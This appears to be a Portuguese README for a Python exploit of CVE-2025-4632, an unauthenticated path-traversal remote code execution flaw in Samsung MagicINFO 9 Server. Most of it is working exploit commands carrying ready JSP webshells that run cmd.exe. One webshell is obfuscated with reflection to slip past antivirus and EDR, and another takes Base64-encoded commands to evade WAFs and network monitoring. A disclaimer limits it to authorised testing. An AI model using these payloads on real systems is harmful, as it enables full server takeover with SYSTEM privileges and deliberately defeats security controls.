Este repositório contém um script de replicação em Python para o CVE-2025-4632, uma vulnerabilidade de Execução Remota de Código (RCE) não autenticada no Samsung MagicINFO 9 Server (versões anteriores à 21.1052).
Este repositório contém um script de replicação em Python para a CVE-2025-4632, uma vulnerabilidade de Execução Remota de Código (RCE) não autenticada no Servidor Samsung MagicINFO 9 (versões anteriores a 21.1052).
A vulnerabilidade existe devido a uma limitação inadequada de um nome de caminho no servlet SWUpdateFileUploader. Utilizando travessia de diretório (../../), um atacante não autenticado pode escrever arquivos arbitrários com privilégios de SYSTEM, levando ao comprometimento total do servidor.
s4e-io (da comunidade ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632.O script automatiza o processo de gerar uma solicitação de atualização de dispositivo com aparência legítima. Ele explora o parâmetro fileName injetando sequências de travessia de diretório para sair do diretório de upload pretendido e escrever um arquivo diretamente na raiz web (/MagicInfo/).
O script realiza duas etapas:
/MagicInfo/servlet/SWUpdateFileUploader com o caminho de travessia./MagicInfo/<filename> para confirmar a exploração bem-sucedida.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: A URL base do alvo (ex.: http://192.168.1.100:7001).-f / --filename: O nome do arquivo a ser criado (ex.: shell.jsp).-d / --data: O conteúdo bruto a ser escrito no arquivo.Os seguintes payloads foram testados com sucesso durante atividades de avaliação. Eles são projetados para comprovar o impacto enquanto contornam os controles de segurança do endpoint.
Usado para confirmar com segurança a execução JSP sem acionar Antivírus ou EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("Execução JSP Confirmada. Hora do sistema: " + new java.util.Date()); %>'
Acesso: http://<target>:7001/MagicInfo/poc.jsp
Um webshell JSP padrão. Nota: Isso pode ser detectado e colocado em quarentena por soluções modernas de AV/EDR, resultando em um 404 Not Found na verificação.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Acesso: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Usado quando o shell padrão está bloqueado. Este payload usa Reflexão Java para ocultar a assinatura Runtime.getRuntime().exec da análise estática.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Acesso: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Altamente Recomendada para Comandos Complexos: Se você encontrar erros 400 Bad Request ao tentar executar comandos com espaços, barras invertidas ou caracteres especiais (ex.: dir c:\), a validação rigorosa de URI do servidor ou um WAF está bloqueando a requisição.
Este payload avançado espera que o comando esteja codificado em Base64 na URL. Ele o decodifica no lado do servidor antes da execução, ignorando completamente a filtragem de URL e ocultando o comando dos monitores de rede.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Exemplos de Uso:
Codifique seu comando para Base64 localmente (ex.: echo -n "dir c:\" | base64), depois passe-o para o parâmetro c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Isenção de Responsabilidade: Este script é apenas para fins educacionais e de teste de penetração autorizado.